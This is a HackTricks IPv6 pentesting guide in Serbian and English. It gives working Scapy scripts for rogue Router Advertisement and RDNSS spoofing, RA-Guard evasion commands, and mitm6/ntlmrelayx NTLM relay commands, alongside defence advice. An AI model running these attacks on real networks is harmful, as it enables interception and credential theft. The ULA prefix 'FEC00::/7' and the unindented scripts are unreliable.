Pentesting IPv6

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovna teorija IPv6

Mreže

IPv6 adrese su strukturisane da poboljšaju organizaciju mreže i interakciju uređaja. IPv6 adresa je podeljena na:

  1. Prefiks mreže (Network Prefix): Početnih 48 bita, koji određuju mrežni segment.
  2. ID podmreže (Subnet ID): Sledećih 16 bita, koristi se za definisanje specifičnih podmreža unutar mreže.
  3. Identifikator interfejsa (Interface Identifier): Završnih 64 bita, jedinstveno identifikuje uređaj unutar podmreže.

Dok IPv6 ne koristi ARP protokol prisutan u IPv4, uvodi ICMPv6 sa dve primarne poruke:

  • Neighbor Solicitation (NS): Multicast poruke za razrešavanje adresa.
  • Neighbor Advertisement (NA): Unicast odgovori na NS ili spontane najave.

IPv6 takođe uključuje specijalne tipove adresa:

  • Loopback Address (::1): Ekvivalent 127.0.0.1 u IPv4, za internu komunikaciju unutar hosta.
  • Link-Local Addresses (FE80::/10): Za aktivnosti na lokalnoj mreži, ne za rutiranje preko interneta. Uređaji na istoj lokalnoj mreži mogu se otkriti koristeći ovaj opseg.

Praktična upotreba IPv6 u mrežnim komandama

Za interakciju sa IPv6 mrežama možete koristiti različite komande:

  • Ping link-local adresa: Proverite prisustvo lokalnih uređaja koristeći ping6.
  • Otkrivanje suseda (Neighbor Discovery): Koristite ip neigh da prikažete uređaje otkrivene na link sloju.
  • alive6: Alternativni alat za otkrivanje uređaja na istoj mreži.

Ispod su neki primeri komandi:

ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80

# Alternatively, use alive6 for neighbor discovery
alive6 eth0

IPv6 adrese se mogu izvesti iz MAC adrese uređaja za lokalnu komunikaciju. Evo pojednostavljenog vodiča kako izvesti Link-local IPv6 adresu iz poznate MAC adrese, i kratak pregled IPv6 tipova adresa i metoda za otkrivanje IPv6 adresa unutar mreže.

Given a MAC address 12:34:56:78:9a:bc, you can construct the Link-local IPv6 address as follows:

  1. Konvertujte MAC u IPv6 format: 1234:5678:9abc
  2. Dodajte ispred fe80:: i ubacite fffe u sredinu: fe80::1234:56ff:fe78:9abc
  3. Invertujte sedmi bit s leva, menjajući 1234 u 1034: fe80::1034:56ff:fe78:9abc

Tipovi IPv6 adresa

  • Unique Local Address (ULA): Za lokalnu komunikaciju, nije namenjena za rutiranje preko javnog interneta. Prefiks: FEC00::/7
  • Multicast Address: Za one-to-many komunikaciju. Dostavlja se svim interfejsima u multicast grupi. Prefiks: FF00::/8
  • Anycast Address: Za one-to-nearest komunikaciju. Poslata najbližem interfejsu prema rutingu. Deo globalnog unicast opsega 2000::/3.

Prefiksi adresa

  • fe80::/10: Link-Local adrese (slično 169.254.x.x)
  • fc00::/7: Unique Local-Unicast (slično privatnim IPv4 opsezima kao što su 10.x.x.x, 172.16.x.x, 192.168.x.x)
  • 2000::/3: Global Unicast
  • ff02::1: Multicast All Nodes
  • ff02::2: Multicast Router Nodes

Otkrivanje IPv6 adresa unutar mreže

  1. Nabavite MAC adresu uređaja unutar mreže.
  2. Izvedite link-local IPv6 adresu iz MAC adrese.

Metod 2: Korišćenje multicast-a

  1. Pošaljite ping na multicast adresu ff02::1 da otkrijete IPv6 adrese na lokalnoj mreži.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table

IPv6 Man-in-the-Middle (MitM) Attacks

Postoji nekoliko tehnika za izvođenje MitM attacks u IPv6 mrežama, kao što su:

  • Spoofing ICMPv6 neighbor or router advertisements.
  • Using ICMPv6 redirect or “Packet Too Big” messages to manipulate routing.
  • Attacking mobile IPv6 (usually requires IPSec to be disabled).
  • Setting up a rogue DHCPv6 server.

Identifikovanje IPv6 adresa u eild

Istraživanje subdomena

Metod za pronalaženje subdomena koji su potencijalno povezani sa IPv6 adresama uključuje korišćenje pretraživača. Na primer, upotreba obrasca upita poput ipv6.* može biti efikasna. Konkretno, sledeći upit se može koristiti u Google:

site:ipv6./

Korišćenje DNS upita

Da biste identifikovali IPv6 adrese, mogu se upitavati određeni tipovi DNS zapisa:

  • AXFR: Zahteva kompletan transfer zone, što može otkriti veliki broj DNS zapisa.
  • AAAA: Direktno traži IPv6 adrese.
  • ANY: Širok upit koji vraća sve dostupne DNS zapise.

Ispitivanje pomoću ping6

Nakon što se identifikuju IPv6 adrese povezane sa organizacijom, utiliteta ping6 se može koristiti za ispitivanje. Ovaj alat pomaže u proceni odzivnosti identifikovanih IPv6 adresa i može pomoći i u otkrivanju susednih IPv6 uređaja.

Tehnike napada na IPv6 lokalnoj mreži

Sledeći odeljci opisuju praktične layer-2 IPv6 napade koji se mogu izvesti unutar istog /64 segmenta bez poznavanja bilo kog globalnog prefiksa. Svi paketi prikazani ispod su link-local i putuju samo kroz lokalni switch, što ih čini izuzetno prikrivenim u većini okruženja.

Podešavanje sistema za stabilnu laboratoriju

Pre nego što počnete da radite sa IPv6 saobraćajem, preporučuje se da dodatno zabezbedite svoj sistem kako biste izbegli da ga zatrove sopstveni testovi i kako biste postigli najbolje performanse tokom masovnog packet injection/sniffing-a.

# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on

# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0

# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1

Pasivno NDP & DHCPv6 Sniffing

Pošto svaki IPv6 host automatski pristupa više multicast grupa (ff02::1, ff02::2, …) i koristi ICMPv6 za SLAAC/NDP, možete mapirati ceo segment bez slanja ni jednog paketa. Sledeći Python/Scapy jednolinijski izraz osluškuje najzanimljivije L2 poruke i ispisuje obojen, vremenski označen log ko je ko:

#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse

init(autoreset=True)

# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit:    'Solicit',
DHCP6_Advertise:  'Advertise',
DHCP6_Request:    'Request',
DHCP6_Reply:      'Reply',
DHCP6_Renew:      'Renew',
DHCP6_Rebind:     'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS:      ('Router Solicitation',  Fore.CYAN),
ICMPv6ND_RA:      ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS:      ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA:      ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect',             Fore.LIGHTRED_EX),
ICMPv6MLReport:   ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLReport2:  ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLDone:     ('MLD Done',             Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request',         Fore.LIGHTBLACK_EX),
ICMPv6EchoReply:  ('Echo Reply',           Fore.LIGHTBLACK_EX)
}

def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'

# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547:  # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return  # not a DHCPv6 message we track
else:
return  # not interesting

print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"  MAC  {eth_src} -> {eth_dst}")
print(f"  IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)

if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)

Rezultat: potpuna link-local topology (MAC ⇄ IPv6) za nekoliko sekundi, bez aktiviranja IPS/IDS sistema koji se oslanjaju na aktivna skeniranja.

Router Advertisement (RA) Spoofing

IPv6 hostovi se oslanjaju na ICMPv6 Router Advertisements za otkrivanje default-gateway-a. Ako ubacite lažne RAs češće nego legitimni ruter, uređaji će tiho preći na vas kao gateway.

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()

lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/  # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Da biste zapravo prosledili saobraćaj nakon što pobedite u trci:

sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Router Advertisement zastavice (M/O) i podrazumevani prioritet rutera (Prf)

ZastavicaZnačenjeUticaj na ponašanje klijenta
M (Managed Address Configuration)Signalizira da je na segmentu dostupno adresiranje sa održavanjem stanja putem DHCPv6.Snažan pokazatelj da DHCPv6 spoofing može uspeti.
O (Other Configuration)Signalizira da bi hostovi trebalo da koriste DHCPv6 za ostale parametre (DNS, NTP, …).Adresa obično i dalje dolazi iz SLAAC-a, ali DNS može biti hijacked putem DHCPv6.
M=0 / O=0Čista mreža u SLAAC stilu.DHCPv6 možda nikada neće biti prisutan; fokusirajte se na rogue RA / RDNSS umesto na mitm6.
M=1 / O=1Mešovito okruženje.I DHCPv6 i SLAAC informacije mogu koegzistirati; površina za spoofing je najveća.

Tokom pentesta možete jednostavno jednom pregledati legitimni RA i odlučiti koji vektor je izvodljiv:

sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134'   # capture Router Advertisements

Potražite polje flags [M,O] u dumpu — nema potrebe za nagađanjem.

Polje Prf (Router Preference) unutar RA header-a kontroliše koliko je vaš lažni ruter privlačan kada je prisutno više gateway-ja:

Prf vrednostBinarnoZnačenje
Visok10Klijenti preferiraju ovaj ruter u odnosu na bilo koji Srednji/Nizak ruter
Srednji (podrazumevano)01Koristi se na skoro svakom legitimnom uređaju
Nizak00Izabran samo kada ne postoji bolji ruter

Kada generišete paket sa Scapy-jem, možete ga postaviti kroz prf parametar kao što je prikazano gore (prf=0x1 → High). Kombinovanje Visokog Prf-a, kratkog intervala, i vremena trajanja koje nije nula čini vaš lažni gateway izuzetno stabilnim.


RDNSS (DNS) Spoofing via RA

RFC 8106 dozvoljava dodavanje opcije Recursive DNS Server (RDNSS) unutar RA. Ovo je go-to DNS hijack primitive kada je segment SLAAC-only (M=0 / O=0) i klijenti ne komuniciraju sa DHCPv6. Podrška na klijentima je zavisna od implementacije, zato validirajte ciljni OS u laboratoriji umesto da pretpostavite univerzalno prihvatanje RDNSS-a.

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()

ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Isti paket takođe može nositi DNSSL opciju koja zatrova puteve razrešavanja kratkih imena u IPv6-only ili dual-stack okruženjima gde su search domene važne. Ako uredno zaustavite napad, pošaljite revert RA sa istom opcijom i lifetime=0.

RA-Guard: izbegavanje u praksi

RFC 7113 dokumentuje zašto pojednostavljena RA-Guard rešenja mogu biti zaobiđena kada ne uspeju da parsiraju kompletan niz IPv6 zaglavlja ili kada pri fragmentima dozvole prolaz (fail open). Ovo nije novo istraživanje, ali je i dalje operativno relevantno jer mnogi access switch-evi implementiraju samo delimično filtriranje.

Nedavni thc-ipv6 buildovi to direktno pokazuju u alatima:

# Hop-by-Hop header before the RA
sudo atk6-fake_router6 -H eth0 2001:db8:1337::/64

# Fragmentation / destination-options variants against weak RA-Guard
sudo atk6-fake_router6 -F eth0 2001:db8:1337::/64
sudo atk6-fake_router6 -D eth0 2001:db8:1337::/64

# Flooded variant with full RA-Guard evasion and DHCPv6 flags set
sudo atk6-flood_router26 -F -m eth0

Koristite ih samo nakon što potvrdite da se običan falsifikovani RA filtrira. Ako -H/-D/-F iznenada natera hostove da prihvate vašeg lažnog rutera, to je dokaz da switch poklapa samo fiksni IPv6 header umesto stvarnog ICMPv6 RA payload-a.

DHCPv6 DNS Spoofing (mitm6)

When the legitimate RA advertises M and/or O, Windows clients commonly emit DHCPv6 requests for address or ancillary configuration. mitm6 abuses that behavior by replying to DHCPv6 and inserting your link-local IPv6 as DNS with a short lease. This unlocks:

  • NTLM relay attacks (WPAD + DNS hijacking)
  • Presretanje internog razrešavanja imena bez diranja rutera
  • Nisko-bučno ciljanje jer možete ograničiti poisoning na određene hostove ili domene

Tipična upotreba:

# DNS takeover without sending rogue RAs
sudo mitm6 -i eth0 --no-ra -d corp.local --host-allowlist wsus

# Pair it with IPv6-capable relay listeners
sudo ntlmrelayx.py -6 -t ldaps://dc.corp.local -wh wpad

Useful details from current mitm6 builds:

  • --no-ra keeps the attack DHCPv6-only when the network detects rogue RAs.
  • -d/--domain and --host-allowlist keep poisoning tight instead of hijacking every query on the segment.
  • --ignore-nofqdn reduces noise from clients that omit the DHCPv6 FQDN option.

If the segment is pure SLAAC (M=0 / O=0), mitm6 is usually the wrong primitive. Use rogue RAs / RDNSS instead, and keep the higher-level relay logic in the WPAD/relay page.

Mere odbrane

  • RA Guard / DHCPv6 Guard / ND Inspection na upravljanim switch-evima.
  • Port ACLs koje dozvoljavaju samo legitimnom MAC-u rutera da šalje RAs.
  • Pratite za unexpected high-rate RAs ili nagle RDNSS changes.
  • Onemogućavanje IPv6 na endpoint-ima je privremeno rešenje koje često narušava moderne servise i sakriva slabe tačke – preferirajte L2 filtriranje umesto toga.

NDP Router Discovery on Guest/Public SSIDs and Management Service Exposure

Mnogi consumer ruteri izlažu management daemone (HTTP(S), SSH/Telnet, TR-069, itd.) na svim interfejsima. U nekim deploy-ima, “guest/public” SSID je bridžovan na WAN/core i je IPv6-only. Čak i ako se IPv6 rutera menja pri svakom boot-u, možete ga pouzdano saznati koristeći NDP/ICMPv6 i zatim direktno se povezati na management plane sa guest SSID-a.

Tipičan tok rada sa klijenta povezanog na guest/public SSID:

  1. Otkrijte ruter slanjem ICMPv6 Router Solicitation na All-Routers multicast ff02::2 i snimite Router Advertisement (RA):
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'

# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY

RA otkriva link-local adresu rutera i često i globalnu adresu/prefix. Ako je poznata samo link-local adresa, imajte na umu da konekcije moraju navesti indeks zone, npr. ssh -6 admin@[fe80::1%wlan0].

Alternativa: koristite ndisc6 suite ako je dostupna:

# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
  1. Pristupi izloženim servisima preko IPv6 sa gostujućeg SSID-a:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
  1. Ako management shell obezbeđuje packet-capture tooling preko wrapper-a (npr. tcpdump), proverite argument/filename injection koji omogućava prosleđivanje dodatnih tcpdump zastavica kao -G/-W/-z radi izvršavanja komandi posle rotacije. Vidi:

Wildcards Spare tricks

Odbrane/napomene:

  • Ne vezujte management za guest/public bridge-ove; primenite IPv6 firewalle na SSID bridge-ovima.
  • Ograničite (rate-limit) i filtrirajte NDP/RS/RA na guest segmentima gde je moguće.
  • Za servise koji moraju biti dostupni, primenjujte authN/MFA i stroge rate-limit-e.

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks